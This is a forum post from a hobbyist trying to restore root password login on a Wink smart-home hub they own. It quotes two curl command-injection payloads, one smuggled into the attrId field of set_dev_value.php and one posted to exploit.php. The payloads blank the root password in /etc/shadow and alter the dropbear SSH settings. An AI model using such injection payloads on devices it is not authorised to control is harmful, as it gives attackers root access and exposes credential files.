How to set ROOT Password? *Root & SSH already enabled*

[livin]

I used the walkthrough to enable SSH, pull the Private Key so I can use Putty & WinSCP to login, no issue there... now I want to re-enable ROOT password so I can login without the PK.

I have tried a few commands from the hacking wink how-tos but I get errors with both...

curl "http://192.168.2.63/database/set_dev_value.php" -d "nodeId=a&attrId=;cp /etc/shadow /etc/shadow.bak;sed -i 's/root:.*:\(.*:.*:.*:.*:::\)/root::\1/' /etc/shadow;cat /etc/shadow;"
...throws... cannot POST to /database/set_dev_value.php

curl -d cmd='sed%20-i%20%27s%2F%3D-sg%2F%3D%2F%27%20%2Fetc%2Fdefault%2Fdropbear%3B%2F etc%2Finit.d%2FS50dropbear%20restart%3Becho%20-e%20%22%5Cn%5Cn%22%20%7C%20passwd' http://192.168.2.63/exploit.php
...throws... cannot POST to /exploit.php

why is it not able to respond to commands?

Also, I noticed /VAR/WWW folder does not exist... should it be there?

thanks for he help!